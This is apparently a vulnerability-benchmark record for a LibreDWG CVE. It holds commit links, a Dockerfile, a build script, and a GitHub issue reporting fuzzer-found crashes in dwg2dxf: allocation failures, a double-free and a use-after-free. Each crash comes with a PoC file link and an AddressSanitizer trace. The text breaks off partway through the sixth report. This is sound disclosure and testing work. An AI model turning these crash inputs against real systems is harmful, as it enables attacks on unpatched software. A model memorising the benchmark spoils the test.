"sha": "d7bdfbc83211fb8732ab12382f2c3bfab51e3480",
"url": "https://github.com/LibreDWG/libredwg/commit/d7bdfbc83211fb8732ab12382f2c3bfab51e3480"
},
{
"sha": "107b5e47f3de5d333405e0a201f495a4a905e96b",
"url": "https://github.com/LibreDWG/libredwg/commit/107b5e47f3de5d333405e0a201f495a4a905e96b"
},
{
"sha": "f6db9268d2d3ad568b6d3ba432ca2b5f2b3804a9",
"url": "https://github.com/LibreDWG/libredwg/commit/f6db9268d2d3ad568b6d3ba432ca2b5f2b3804a9"
},
{
"sha": "c0bbb7388465800f01683fa90d434026c852f06c",
"url": "https://github.com/LibreDWG/libredwg/commit/c0bbb7388465800f01683fa90d434026c852f06c"
},
{
"sha": "ea93bca48a63ddf70f7df017f2c21f38469a83af",
"url": "https://github.com/LibreDWG/libredwg/commit/ea93bca48a63ddf70f7df017f2c21f38469a83af"
},
{
"sha": "817e586f2bbce42cf9e75e118c1c7feae941669b",
"url": "https://github.com/LibreDWG/libredwg/commit/817e586f2bbce42cf9e75e118c1c7feae941669b"
},
{
"sha": "41ff7afc44babae1236c3587024ee84b57006990",
"url": "https://github.com/LibreDWG/libredwg/commit/41ff7afc44babae1236c3587024ee84b57006990"
},
{
"sha": "55295f939b6a8cfd7a25c40ea780d8c83e67b0db",
"url": "https://github.com/LibreDWG/libredwg/commit/55295f939b6a8cfd7a25c40ea780d8c83e67b0db"
},
{
"sha": "5064790b1bf390807bfa727139e40a3afd85183e",
"url": "https://github.com/LibreDWG/libredwg/commit/5064790b1bf390807bfa727139e40a3afd85183e"
},
{
"sha": "d6f8f351c34c4ad2b9e300a8b0718439467bd55a",
"url": "https://github.com/LibreDWG/libredwg/commit/d6f8f351c34c4ad2b9e300a8b0718439467bd55a"
},
{
"sha": "ba6aa54df0c78bc930b4ec71f72767f1a011d96e",
"url": "https://github.com/LibreDWG/libredwg/commit/ba6aa54df0c78bc930b4ec71f72767f1a011d96e"
},
{
"sha": "b7369a17445f8831582af3708a5e84362b0db536",
"url": "https://github.com/LibreDWG/libredwg/commit/b7369a17445f8831582af3708a5e84362b0db536"
}
] |
libredwg.cve-2019-20013
|
libredwg/libredwg
|
5c4464ef38776addf64b2648d20d4eeb3c4a0082
| 2019-12-25T13:55:27
|
libredwg
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y autoconf libtool texinfo
RUN git clone https://github.com/libredwg/libredwg libredwg
RUN git -C libredwg checkout 5c4464ef38776addf64b2648d20d4eeb3c4a0082
WORKDIR $SRC/libredwg
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
sh ./autogen.sh
./configure --disable-shared
make -j$(nproc)
|
/src/libredwg
|
address
|
================= Bug Report (1/2) ==================
## Source: GitHub Issue
## URL: https://github.com/LibreDWG/libredwg/issues/176
## Description:
Issue: LibreDWG/libredwg#176
Title: Several bugs found by fuzzing
State: closed
Created by: linhlhq
Created at: 2019-12-24 03:44:32+00:00
Labels: bug, fuzzing
Issue Body:
Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: dwg2dxf $PoC
**1.Crafted input will lead to Memory allocation failed in dwg_decode_SPLINE_private (src/dwg.spec:1639)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000000%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:36317
ASAN says:
```
==6231==ERROR: AddressSanitizer failed to allocate 0xd54f86000 (57260138496) bytes of LargeMmapAllocator (error code: 12)
==6231==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x55f7ba14f000-0x55f7bb643000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb843000-0x55f7bb85b000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb85b000-0x55f7bb93f000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb93f000-0x55f7bb943000
.....
0x7fd78077d000-0x7fd780794000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780794000-0x7fd780993000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780993000-0x7fd780994000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780994000-0x7fd780995000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780995000-0x7fd7809af000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd7809af000-0x7fd780bae000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bae000-0x7fd780baf000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780baf000-0x7fd780bb0000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bb0000-0x7fd780bb4000
0x7fd780bb4000-0x7fd780bbb000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780bbb000-0x7fd780dba000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dba000-0x7fd780dbb000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbb000-0x7fd780dbc000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbc000-0x7fd780dbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780dbf000-0x7fd780fbe000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fbe000-0x7fd780fbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fbf000-0x7fd780fc0000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fc0000-0x7fd7811a7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7811a7000-0x7fd7813a7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813a7000-0x7fd7813ab000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813ab000-0x7fd7813ad000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813ad000-0x7fd7813b1000
0x7fd7813b1000-0x7fd78154e000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78154e000-0x7fd78174d000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174d000-0x7fd78174e000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174e000-0x7fd78174f000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174f000-0x7fd78189f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd78189f000-0x7fd781a9f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781a9f000-0x7fd781aa2000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa2000-0x7fd781aa5000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa5000-0x7fd78270a000
0x7fd78270a000-0x7fd782731000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd78279d000-0x7fd782927000
0x7fd782927000-0x7fd782931000
0x7fd782931000-0x7fd782932000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782932000-0x7fd782933000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782933000-0x7fd782934000
0x7fffa34fe000-0x7fffa351f000 [stack]
0x7fffa35bc000-0x7fffa35bf000 [vvar]
0x7fffa35bf000-0x7fffa35c1000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==6231==End of process memory map.
==6231==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7fd781838c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7fd781857595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7fd781842492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7fd78184e8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7fd78177b8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7fd78177604b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7fd78182dd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x55f7ba79bec8 in dwg_decode_SPLINE_private ../../src/dwg.spec:1639
#8 0x55f7ba7a4e19 in dwg_decode_SPLINE ../../src/dwg.spec:1585
#9 0x55f7bab4b89b in dwg_decode_add_object ../../src/decode.c:4738
#10 0x55f7bab5ef28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55f7bab9161a in dwg_decode ../../src/decode.c:239
#12 0x55f7ba533f7a in dwg_read_file ../../src/dwg.c:206
#13 0x55f7ba53232d in main ../../programs/dwg2dxf.c:255
#14 0x7fd780fe1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x55f7ba5332e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
Thanks,
Linhlhq from Infiniti Team, VinCSS (a member of Vingroup) # #
Comments:
Comment by linhlhq on 2019-12-24 03:45:01+00:00:
**2.Crafted input will lead to Memory allocation failed in dwg_decode_LWPOLYLINE_private (src/dwg.spec:4105)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000003%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:43812
ASAN says:
```
==25389==ERROR: AddressSanitizer failed to allocate 0xc9459a000 (54028509184) bytes of LargeMmapAllocator (error code: 12)
==25389==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x5557879cb000-0x555788ebf000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x5557890bf000-0x5557890d7000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x5557890d7000-0x5557891bb000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x5557891bb000-0x5557891bf000
....
0x7fbd7b8fb000-0x7fbd7dc4d000
0x7fbd7dc4d000-0x7fbd7dc64000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fbd7dc64000-0x7fbd7de63000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fbd7de63000-0x7fbd7de64000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fbd7de64000-0x7fbd7de65000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fbd7de65000-0x7fbd7de7f000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fbd7de7f000-0x7fbd7e07e000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fbd7e07e000-0x7fbd7e07f000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fbd7e07f000-0x7fbd7e080000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fbd7e080000-0x7fbd7e084000
0x7fbd7e084000-0x7fbd7e08b000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fbd7e08b000-0x7fbd7e28a000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fbd7e28a000-0x7fbd7e28b000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fbd7e28b000-0x7fbd7e28c000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fbd7e28c000-0x7fbd7e28f000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fbd7e28f000-0x7fbd7e48e000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fbd7e48e000-0x7fbd7e48f000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fbd7e48f000-0x7fbd7e490000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fbd7e490000-0x7fbd7e677000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fbd7e677000-0x7fbd7e877000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fbd7e877000-0x7fbd7e87b000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fbd7e87b000-0x7fbd7e87d000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fbd7e87d000-0x7fbd7e881000
0x7fbd7e881000-0x7fbd7ea1e000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fbd7ea1e000-0x7fbd7ec1d000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fbd7ec1d000-0x7fbd7ec1e000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fbd7ec1e000-0x7fbd7ec1f000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fbd7ec1f000-0x7fbd7ed6f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fbd7ed6f000-0x7fbd7ef6f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fbd7ef6f000-0x7fbd7ef72000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fbd7ef72000-0x7fbd7ef75000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fbd7ef75000-0x7fbd7fbda000
0x7fbd7fbda000-0x7fbd7fc01000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fbd7fc6d000-0x7fbd7fdf7000
0x7fbd7fdf7000-0x7fbd7fe01000
0x7fbd7fe01000-0x7fbd7fe02000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fbd7fe02000-0x7fbd7fe03000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fbd7fe03000-0x7fbd7fe04000
0x7ffe9b3e2000-0x7ffe9b403000 [stack]
0x7ffe9b56a000-0x7ffe9b56d000 [vvar]
0x7ffe9b56d000-0x7ffe9b56f000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==25389==End of process memory map.
==25389==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7fbd7ed08c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7fbd7ed27595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7fbd7ed12492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7fbd7ed1e8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7fbd7ec4b8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7fbd7ec4604b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7fbd7ecfdd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x55578802f729 in dwg_decode_LWPOLYLINE_private ../../src/dwg.spec:4105
#8 0x555788038884 in dwg_decode_LWPOLYLINE ../../src/dwg.spec:4029
#9 0x5557883c72f6 in dwg_decode_add_object ../../src/decode.c:4905
#10 0x5557883daf28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55578840d61a in dwg_decode ../../src/decode.c:239
#12 0x555787daff7a in dwg_read_file ../../src/dwg.c:206
#13 0x555787dae32d in main ../../programs/dwg2dxf.c:255
#14 0x7fbd7e4b1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x555787daf2e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
---
Comment by linhlhq on 2019-12-24 03:45:15+00:00:
**3.Crafted input will lead to Memory allocation failed in decode_3dsolid (src/dwg.spec:1801)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000006%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:46085
ASAN says:
```
==833==ERROR: AddressSanitizer failed to allocate 0x7f940f9000 (547944894464) bytes of LargeMmapAllocator (error code: 12)
==833==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x562cd50b0000-0x562cd65a4000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x562cd67a4000-0x562cd67bc000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x562cd67bc000-0x562cd68a0000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x562cd68a0000-0x562cd68a4000
....
0x7f7e1e3c9000-0x7f7e2071b000
0x7f7e2071b000-0x7f7e20732000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f7e20732000-0x7f7e20931000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f7e20931000-0x7f7e20932000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f7e20932000-0x7f7e20933000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f7e20933000-0x7f7e2094d000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f7e2094d000-0x7f7e20b4c000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f7e20b4c000-0x7f7e20b4d000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f7e20b4d000-0x7f7e20b4e000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f7e20b4e000-0x7f7e20b52000
0x7f7e20b52000-0x7f7e20b59000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f7e20b59000-0x7f7e20d58000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f7e20d58000-0x7f7e20d59000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f7e20d59000-0x7f7e20d5a000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f7e20d5a000-0x7f7e20d5d000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f7e20d5d000-0x7f7e20f5c000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f7e20f5c000-0x7f7e20f5d000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f7e20f5d000-0x7f7e20f5e000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f7e20f5e000-0x7f7e21145000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f7e21145000-0x7f7e21345000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f7e21345000-0x7f7e21349000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f7e21349000-0x7f7e2134b000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f7e2134b000-0x7f7e2134f000
0x7f7e2134f000-0x7f7e214ec000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f7e214ec000-0x7f7e216eb000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f7e216eb000-0x7f7e216ec000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f7e216ec000-0x7f7e216ed000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f7e216ed000-0x7f7e2183d000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f7e2183d000-0x7f7e21a3d000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f7e21a3d000-0x7f7e21a40000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f7e21a40000-0x7f7e21a43000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f7e21a43000-0x7f7e226a8000
0x7f7e226a8000-0x7f7e226cf000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f7e2273b000-0x7f7e228c5000
0x7f7e228c5000-0x7f7e228cf000
0x7f7e228cf000-0x7f7e228d0000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f7e228d0000-0x7f7e228d1000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f7e228d1000-0x7f7e228d2000
0x7ffec2458000-0x7ffec2479000 [stack]
0x7ffec24f6000-0x7ffec24f9000 [vvar]
0x7ffec24f9000-0x7ffec24fb000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==833==End of process memory map.
==833==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7f7e217d6c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7f7e217f5595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7f7e217e0492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7f7e217ec8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7f7e217198f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7f7e2171404b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7f7e217cbd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x562cd58a523f in decode_3dsolid ../../src/dwg.spec:1801
#8 0x562cd58c27dc in dwg_decode_REGION_private ../../src/dwg.spec:2042
#9 0x562cd58c3123 in dwg_decode_REGION ../../src/dwg.spec:2040
#10 0x562cd5aa9c06 in dwg_decode_add_object ../../src/decode.c:4741
#11 0x562cd5abff28 in decode_R13_R2000 ../../src/decode.c:1216
#12 0x562cd5af261a in dwg_decode ../../src/decode.c:239
#13 0x562cd5494f7a in dwg_read_file ../../src/dwg.c:206
#14 0x562cd549332d in main ../../programs/dwg2dxf.c:255
#15 0x7f7e20f7fb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#16 0x562cd54942e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
---
Comment by linhlhq on 2019-12-24 03:45:28+00:00:
**4.Crafted input will lead to Memory allocation failed in dwg_decode_HATCH_private (src/dwg.spec:3774)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000009%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:47573
ASAN says:
```
==27930==ERROR: AddressSanitizer failed to allocate 0xc7b60b000 (53609541632) bytes of LargeMmapAllocator (error code: 12)
==27930==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x5572ffa32000-0x557300f26000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x557301126000-0x55730113e000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55730113e000-0x557301222000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x557301222000-0x557301226000
....
0x7f1f63cfe000-0x7f1f66050000
0x7f1f66050000-0x7f1f66067000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f1f66067000-0x7f1f66266000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f1f66266000-0x7f1f66267000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f1f66267000-0x7f1f66268000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f1f66268000-0x7f1f66282000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f1f66282000-0x7f1f66481000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f1f66481000-0x7f1f66482000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f1f66482000-0x7f1f66483000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f1f66483000-0x7f1f66487000
0x7f1f66487000-0x7f1f6648e000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f1f6648e000-0x7f1f6668d000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f1f6668d000-0x7f1f6668e000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f1f6668e000-0x7f1f6668f000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f1f6668f000-0x7f1f66692000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f1f66692000-0x7f1f66891000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f1f66891000-0x7f1f66892000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f1f66892000-0x7f1f66893000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f1f66893000-0x7f1f66a7a000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f1f66a7a000-0x7f1f66c7a000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f1f66c7a000-0x7f1f66c7e000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f1f66c7e000-0x7f1f66c80000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f1f66c80000-0x7f1f66c84000
0x7f1f66c84000-0x7f1f66e21000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f1f66e21000-0x7f1f67020000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f1f67020000-0x7f1f67021000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f1f67021000-0x7f1f67022000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f1f67022000-0x7f1f67172000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f1f67172000-0x7f1f67372000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f1f67372000-0x7f1f67375000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f1f67375000-0x7f1f67378000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f1f67378000-0x7f1f67fdd000
0x7f1f67fdd000-0x7f1f68004000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f1f68070000-0x7f1f681fa000
0x7f1f681fa000-0x7f1f68204000
0x7f1f68204000-0x7f1f68205000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f1f68205000-0x7f1f68206000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f1f68206000-0x7f1f68207000
0x7fffaaf12000-0x7fffaaf33000 [stack]
0x7fffaafac000-0x7fffaafaf000 [vvar]
0x7fffaafaf000-0x7fffaafb1000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==27930==End of process memory map.
==27930==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7f1f6710bc02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7f1f6712a595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7f1f67115492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7f1f671218a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7f1f6704e8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7f1f6704904b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7f1f67100d00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x5573003a30c8 in dwg_decode_HATCH_private ../../src/dwg.spec:3774
#8 0x5573003ca0fb in dwg_decode_HATCH ../../src/dwg.spec:3641
#9 0x557300430ce6 in dwg_decode_add_object ../../src/decode.c:4908
#10 0x557300441f28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55730047461a in dwg_decode ../../src/decode.c:239
#12 0x5572ffe16f7a in dwg_read_file ../../src/dwg.c:206
#13 0x5572ffe1532d in main ../../programs/dwg2dxf.c:255
#14 0x7f1f668b4b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x5572ffe162e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
---
Comment by linhlhq on 2019-12-24 03:46:08+00:00:
**5.Double-free in dwg_free (src/free.c:837)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000002%2Csig:06%2Csrc:000093%2Cop:havoc%2Crep:8
ASAN says:
```
==10100==ERROR: AddressSanitizer: attempting double-free on 0x603000000040 in thread T0:
#0 0x7f6b9a47a7b8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7b8)
#1 0x55b7ed1d1623 in dwg_free ../../src/free.c:837
#2 0x55b7eca06193 in main ../../programs/dwg2dxf.c:342
#3 0x7f6b99c2eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#4 0x55b7eca072e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
0x603000000040 is located 0 bytes inside of 32-byte region [0x603000000040,0x603000000060)
freed by thread T0 here:
#0 0x7f6b9a47a7b8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7b8)
#1 0x55b7ece0c199 in dwg_decode_handleref ../../src/decode.c:3689
previously allocated by thread T0 here:
#0 0x7f6b9a47ad38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x55b7ece0bcbd in dwg_decode_handleref ../../src/decode.c:3669
#2 0x10effffffffff (<unknown module>)
SUMMARY: AddressSanitizer: double-free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7b8) in __interceptor_free
==10100==ABORTING
```
---
Comment by linhlhq on 2019-12-24 03:47:41+00:00:
**6.Heap-use-after-free in resolve_objectref_vector (src/decode.c:1434)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000006%2Csig:06%2Csrc:000308%2B000975%2Cop:splice%2Crep:64
ASAN says:
```
==25001==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000000058 at pc 0x55e4585b3686 bp 0x7ffc01783e70 sp 0x7ffc01783e60
